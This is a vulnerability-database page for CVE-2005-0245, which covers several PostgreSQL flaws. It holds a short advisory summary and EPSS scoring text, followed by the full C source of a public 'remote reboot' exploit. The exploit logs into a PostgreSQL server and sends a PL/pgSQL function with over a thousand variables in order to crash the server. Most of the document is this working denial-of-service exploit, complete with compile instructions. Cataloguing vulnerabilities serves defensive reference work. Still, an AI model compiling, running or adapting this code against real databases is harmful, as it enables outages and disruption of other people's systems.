CVE-2005-0245 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/12417/info Multiple remote vulnerabilities affect PostgreSQL. These issues are due to design errors, buffer-mismanagement errors, and causes that are currently unspecified. The vulnerabilities are as follows: - The application fails to enforce function permissions. - A buffer overflow is triggered when cursor declaration occurs. - A denial-of-service issue resides in 'contrib/intagg'. Not enough information is currently available to provide a more in-depth technical description. This BID will be updated when more details are available. An attacker may leverage these issues to execute arbitrary code with the privileges of the vulnerable database process and to execute functions without requiring permission. Other attacks are also possible. /* PostgreSQL Remote Reboot <=8.01 * writen by ChoiX [[email protected]] * (c) Unl0ck Research Team [www.unl0ck.org] * info: Server can be rebooted only if plpgsql language is switched on. * To compilate exploit you should have "libpq" library on your box * and use command $ cc -o pgsql_reboot pgsql_reboot.c -I/usr/local/pgsql/include -L/usr/local/pgsql/lib -lpq * Root exploits will be released later, coz now it's very dangerous to release it. * greets to: * unl0ck members: DarkEagle, crash-x, nekd0, xtix, [0xdeadbabe] * m00 members: ov3r */ #include <stdio.h> #include <getopt.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <libpq-fe.h> #define DEFAULT_PORT "5321" #define DEFAULT_DB "postgresql" #define FUNC_NAME "uKt_test" #define TABLE_NAME "unl0ck_table" char str[4000]; char create[]="CREATE OR REPLACE FUNCTION %s RETURNS integer AS $$\n"; char declare[] = "DECLARE\n"; char com[] = "\t--%\n"; char varible_REC[] = "\trec RECORD;\n"; char varible_var[] = "\tvar%d varchar := \'BBBB\';\n"; char begin[] = "BEGIN\n"; char select_1[] = "SELECT INTO rec FROM %s WHERE\n"; char select_2[] = "var%d = AAAA AND\n"; char select_3[] = "var1029 = AAAA;\n"; char end[] = "END\n"; char finish[] = "$$ LANGUAGE plpgsql\n"; void usage(char *name){ printf("PostgreSQL Remote DoS <=8.0.1\n"); printf("writen by ChoiX [[email protected]]\n"); printf("(c) Unl0ck Research Team [[email protected]]\n"); printf("Usage: %s -H <host_address> [-P <port>] -u <user_name> -p <password> [-d <database_name>] \n", name); printf("Default port = %s\nDefault dbname = %s\n", DEFAULT_PORT, DEFAULT_DB); exit(0); } int make_str(); int main(int argc, char *argv[]){ char opt; char *host = NULL, *port = NULL, *user = NULL, *password = NULL, *dbname = NULL; struct hostent *he; PGconn *conn; PGresult *res; while((opt = getopt(argc, argv, "H:P:u:p:d:")) != EOF){ switch(opt){ case 'H': host = optarg; break; case 'P': port = optarg; break; case 'u': user = optarg; break; case 'p': password = optarg; break; case 'd': dbname = optarg; break; default: usage(argv[0]); break; } } if(host == NULL) usage(argv[0]); if(user == NULL) usage(argv[0]); if(password == NULL) usage(argv[0]); if(port == NULL) port = DEFAULT_PORT; if(dbname == NULL) dbname = DEFAULT_DB; printf("\tPostgreSQL Remote DoS <=8.0.1\n"); printf("[*] Host/Port: %s/%s\n", host, port); printf("[*] DBname/User/Password: %s/%s/%s\n", dbname, user, password); conn = PQsetdbLogin(host, port, NULL, NULL, dbname, user, password); if(PQstatus(conn) == CONNECTION_BAD){ PQfinish(conn); printf("[-] Cannot connect to the database\n"); exit(1); } printf("[+] Connected to the database\n"); make_str(); printf("[+] Command has been generated\n"); res = PQexec(conn, str); if (PQresultStatus(res) == PGRES_TUPLES_OK){ printf("[+] Command has been sent\n"); } if(PQstatus(conn) == CONNECTION_BAD){ printf("[+] Server has been rebooted\n"); exit(0); } else { printf("[-] Server hasnt been rebooted\n"); exit(0); } } int make_str(){ char temp[100]; int i; int len = sizeof(temp) -1; //write char create[] snprintf(temp, len, create, FUNC_NAME); strcpy(str,temp); //write char declare[] snprintf(temp, len, begin); strcat(str, temp); //write char varible_REC[] snprintf(temp, len, varible_REC); strcat(str, temp); //write char varible_var[] for(i = 0;i < 1029;i++){ snprintf(temp, len, varible_var, i); strcat(str, temp); } //write char begin[] snprintf(temp, len, begin); strcat(str, temp); //write char select_1[] snprintf(temp, len, select_1, TABLE_NAME); strcat(str, temp); //write char select_2[] for(i = 0;i < 1028;i++){ snprintf(temp, len, select_2, i); strcat(str, temp); } //write char select_3[] snprintf(temp, len, select_3); strcat(str, temp); //write char end[] snprintf(temp, len, temp); strcat(str, temp); //write char finish[] snprintf(temp, len, finish); strcat(str,temp); return 0; }
